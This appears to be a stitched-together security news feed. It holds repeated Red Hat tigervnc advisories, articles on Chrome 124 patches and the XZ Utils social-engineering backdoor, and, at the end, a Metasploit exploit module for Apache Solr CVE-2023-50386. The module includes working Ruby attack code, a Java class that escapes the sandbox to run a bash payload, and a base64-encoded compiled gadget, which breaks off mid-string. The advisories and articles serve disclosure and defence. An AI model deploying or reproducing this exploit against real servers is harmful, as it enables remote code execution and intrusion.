Red Hat Security Advisory 2024-2042-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2042.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2042-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2042Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Telecommunications Update Service, and Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2042-03

Red Hat Security Advisory 2024-2041-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2041.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2041-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2041Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2041-03

Red Hat Security Advisory 2024-2040-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2040.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2040-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2040Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2040-03

Red Hat Security Advisory 2024-2039-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2039.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2039-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2039Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2039-03

Red Hat Security Advisory 2024-2038-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2038.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2038-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2038Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 8.8 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2038-03

Red Hat Security Advisory 2024-2037-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 8.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2037.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2037-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2037Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2037-03

Red Hat Security Advisory 2024-2036-03 - An update for tigervnc is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_2036.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: tigervnc security updateAdvisory ID:        RHSA-2024:2036-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:2036Issue date:         2024-04-24Revision:           03CVE Names:          CVE-2024-31080====================================================================Summary: An update for tigervnc is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Virtual Network Computing (VNC) is a remote display system which allows users to view a computing desktop environment not only on the machine where it is running, but from anywhere on the Internet and from a wide variety of machine architectures. TigerVNC is a suite of VNC servers and clients.Security Fix(es):* xorg-x11-server: Heap buffer overread/data leakage in ProcXIGetSelectedEvents (CVE-2024-31080)* xorg-x11-server: Heap buffer overread/data leakage in ProcXIPassiveGrabDevice (CVE-2024-31081)* xorg-x11-server: User-after-free in ProcRenderAddGlyphs (CVE-2024-31083)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-31080References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2271997https://bugzilla.redhat.com/show_bug.cgi?id=2271998https://bugzilla.redhat.com/show_bug.cgi?id=2272000

Red Hat Security Advisory 2024-2036-03

By Waqas
Using Google Chrome? Update your browser to the latest version right now!
This is a post from HackRead.com Read the original post: Google Patches Critical Chrome Vulnerability and Additional Flaws

Google Chrome users beware! A critical vulnerability (CVE-2024-4058) has been patched in the latest update (version 124). This flaw could allow attackers to take control of your system.

Google addressed a critical vulnerability (CVE-2024-4058) in its Chrome web browser on Wednesday, April 24th, 2024. This flaw resides within the ANGLE graphics layer engine and carries a “critical” severity rating, indicating its potential for severe exploitation.

While the critical CVE-2024-4058 garnered the most attention, Google’s Chrome update (version 124) also patched two additional high-severity vulnerabilities:

*   **CVE-2024-4059:** This vulnerability is classified as an out-of-bounds read within the V8 JavaScript engine. An out-of-bounds read allows attackers to access memory locations they shouldn’t, potentially revealing sensitive information.
*   **CVE-2024-4060:** This vulnerability is a use-after-free issue in the Dawn component. Use-after-free vulnerabilities can lead to crashes or potentially code execution depending on how they are exploited.

****The Importance of Updating****

While the specific details and exploitability of CVE-2024-4059 and CVE-2024-4060 are not yet fully public, it’s important to update Chrome regardless. A high-severity rating suggests these vulnerabilities could also be weaponized by attackers, so patching promptly remains the best course of action.

Jason Soroko, Senior Vice President of Product at Sectigo commented on the update stating, _“_CVE-2024-4058, a Type Confusion in ANGLE, is a vulnerability categorized as critical because it could allow remote code execution (RCE), enabling attackers to put malware onto the victim’s device. This latest vulnerability is a bad one for sure, and therefore it would be critical to patch this immediately._”_

****How to Protect Yourself****

The safest course of action is to update your Google Chrome browser immediately. Google has released Chrome version 124 which addresses this vulnerability alongside other security fixes. Here’s how to update Chrome:

*   **Windows & Mac:** Open Chrome, click the three vertical dots in the top right corner, go to “Help” and then “About Chrome.” Chrome will automatically check for updates and install them if available.
*   **Linux:** The update process for Linux may vary depending on your distribution. Consult your distribution’s documentation for specific update instructions.

Updating to Chrome version 124 protects you from these critical, high-severity, and potentially dangerous vulnerabilities. For additional technical details and a full list of changes in this build visit the Log section.

1.  Critical Chrome Update Counters Spyware Vendor’s Exploits
2.  Google Chrome to Mask User IP Addresses to Protect Privacy
3.  Fake Chrome Browser Update Installs NetSupport Manager RAT
4.  CISA Warns of Chrome and Excel Parsing LibraryExploitable Flaws
5.  Fantom Foundation Suffers Wallet Hack Via Google Chrome 0-Day

Google Patches Critical Chrome Vulnerability and Additional Flaws

Unlike the SolarWinds and CodeCov incidents, all that it took for an adversary to nearly pull off a massive supply chain attack was some slick social engineering and a string of pressure emails.

Source: Mongta Studio via Shutterstock

An adversary doesn't need sophisticated technical skills to execute a broad software supply chain attack like the ones experienced by SolarWinds and CodeCov. Sometimes, all it takes is a little bit of time and ingenius social engineering.

That appears to have been the case with whoever introduced a backdoor in the XZ Utils open source data compression utility in Linux systems earlier this year. Analysis of the incident from Kaspersky this week, and similar reports from others in recent days, identified the attacker as relying almost entirely on social manipulation to slip the backdoor into the utility.

**Social Engineering the Open Source Software Supply Chain**

Ominously, it may be a model that attackers are using to slip similar malware into other widely used open source projects and components.

In an alert last week, the Open Source Security Foundation (OSSF) warned of the XZ Utils attack likely not being an isolated incident. The advisory identified at least one other instance where an adversary employed tactics similar to the one used on XZ Utils to take over the OpenJS Foundation for JavaScript projects.

"The OSSF and OpenJS Foundations are calling all open source maintainers to be alert for social engineering takeover attempts, to recognize the early threat patterns emerging, and to take steps to protect their open source projects," the OSSF alert said.

A developer from Microsoft discovered the backdoor in newer versions of an XZ library called liblzma while investigating odd behavior around a Debian installation. At the time, only unstable and beta releases of Fedora, Debian, Kali, openSUSE, and Arch Linux versions had the backdoored library, meaning it was virtually a non-issue for most Linux users.

But the manner in which the attacker introduced the backdoor is especially troubling, Kasperksy said. "One of the key differentiators of the SolarWinds incident from prior supply chain attacks was the adversary’s covert, prolonged access to the source/development environment," Kaspersky said. "In this XZ Utils incident, this prolonged access was obtained via social engineering and extended with fictitious human identity interactions in plain sight."

**A Low and Slow Attack**

The attack appears to have begun in October 2021, when an individual using the handle "Jia Tan" submitted an innocuous patch to the single-person XZ Utils project. Over the next few weeks and months, the Jia Tan account submitted multiple similar harmless patches (described in detail in this timeline) to the XZ Utils project, which its sole maintainer, an individual named Lasse Collins, eventually began merging into the utility.

Starting in April 2022, a couple of other personas — one using the handle "Jigar Kumar" and the other "Dennis Ens" — began sending emails to Collins, pressuring him to integrate Tan's patches into XZ Utils at a faster pace.

The Jigar Kumar and Dennis Ens personas gradually ratcheted up the pressure on Collins, eventually asking him to add another maintainer to the project. Collins at one point reaffirmed his interest in maintaining the project but confessed to being constrained by "long-term mental health issues." Eventually, Collins succumbed to the pressure from Kumar and Ens and gave Jia Tan commit access to the project and the authority to make changes to the code.

"Their goal was to grant full access to XZ Utils source code to Jia Tan and subtly introduce malicious code into XZ Utils," Kaspersky said. "The identities even interact with one another on mail threads, complaining about the need to replace Lasse Collin as the XZ Utils maintainer." The different personas in the attack — Jia Tan, Jigar Kumar, and Dennis Ens — appear to have deliberately been made to look like they were from different geographies, to dispel any doubts about their working in concert. Another individual, or persona, Hans Jansen, surfaced briefly in June 2023 with some new performance optimization code for XZ Utils that ended up being integrated into the utility.

**A Wide Cast of Actors**

Jia Tan introduced the backdoor binary into the utility in February 2024 after gaining control of the XZ Util maintenance tasks. Following that, the Jansen character resurfaced — along with two other personas — each pressuring major Linux distributors to introduce the backdoored utility into their distribution, Kasperksy said.

What's not entirely clear is if the attack involved a small team of actors or a single individual who successfully managed several identities and manipulated the maintainer into giving them the right to make code changes to the project.

Kurt Baumgartner, principal researcher at Kaspersky’s global research and analysis team, tells Dark Reading that additional data sources, including login and netflow data, could help aid in the investigation of the identities involved in the attack. "The world of open source is a wildly open one," he says, "enabling murky identities to contribute questionable code to projects that are major dependencies."

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Attacker Social-Engineered Backdoor Code Into XZ Utils

Apache Solr versions 6.0.0 through 8.11.2 and versions 9.0.0 up to 9.4.1 are affected by an unrestricted file upload vulnerability which can result in remote code execution in the context of the user running Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it. The backup function of the Collection can export malicious class files uploaded by attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Java  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::ApacheSolr  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Solr Backup/Restore APIs RCE',        'Description' => %q{          Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File          with Dangerous Type vulnerability which can result in remote code execution in the context of the user running          Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load          some classes from it. The backup function of the Collection can export malicious class files uploaded by          attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution          can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.        },        'Author' => [          'l3yx', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],          [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],          [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],          [ 'CVE', '2023-50386']        ],        'License' => MSF_LICENSE,        'Platform' => %w[unix linux],        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Unix Command',            {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD            }          ]        ],        'Payload' => {          'BadChars' => "\x20"        },        'DefaultTarget' => 0,        'DefaultOptions' => {          'FETCH_WRITABLE_DIR' => '/tmp/'        },        'DisclosureDate' => '2024-02-24',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options(      [        Opt::RPORT(8983),        OptString.new('USERNAME', [false, 'Solr username', 'solr']),        OptString.new('PASSWORD', [false, 'Solr password']),        OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),      ]    )  end  # If authentication is used  @auth_string = ''  def check    print_status('Running check method')    auth_res = solr_check_auth    unless auth_res      return CheckCode::Unknown('Authentication failed!')    end    # convert to JSON    ver_json = auth_res.get_json_document    # get Solr version    solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])    print_status("Found Apache Solr #{solr_version}")    # get OS version details    @target_platform = ver_json['system']['name']    target_arch = ver_json['system']['arch']    target_osver = ver_json['system']['version']    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")    unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||           solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))      return CheckCode::Safe('Running version of Solr is not vulnerable!')    end    CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")  end  # This method returns the compiled byte code of the following class, SourceParser.java:  #  # package zk_backup_0.configs.confname;  #  # import sun.misc.Unsafe;  # import java.io.BufferedReader;  # import java.io.File;  # import java.io.FileOutputStream;  # import java.io.InputStreamReader;  # import java.lang.reflect.Field;  # import java.lang.reflect.Method;  # import java.security.ProtectionDomain;  # import java.util.Map;  #  #  # public class SourceParser {  #  #     static {  #         try {  #             Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  #             unsafeField.setAccessible(true);  #             Unsafe unsafe = (Unsafe) unsafeField.get(null);  #             Module module = Object.class.getModule();  #             Class<?> currentClass = SourceParser.class;  #             long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  #             unsafe.getAndSetObject(currentClass, addr, module);  #  #             String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };  #             Class clz = Class.forName("java.lang.ProcessImpl");  #             Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);  #             method.setAccessible(true);  #             Process process = (Process) method.invoke(clz, cmd, null, null, null, false);  #         } catch (Exception e) {  #             e.printStackTrace();  #         }  #     }  # }  def go_go_gadget(configuration1_name)    gadget = ''    gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'    gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'    gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'    gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'    gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'    gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'    gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'    gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'    gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'    gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'    gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'    gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'    gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'    gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'    gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'    gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'    gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'    gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'    gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'    gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'    gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'    gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'    gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'    gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'    gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'    gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'    gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'    gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'    gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'    gadget << 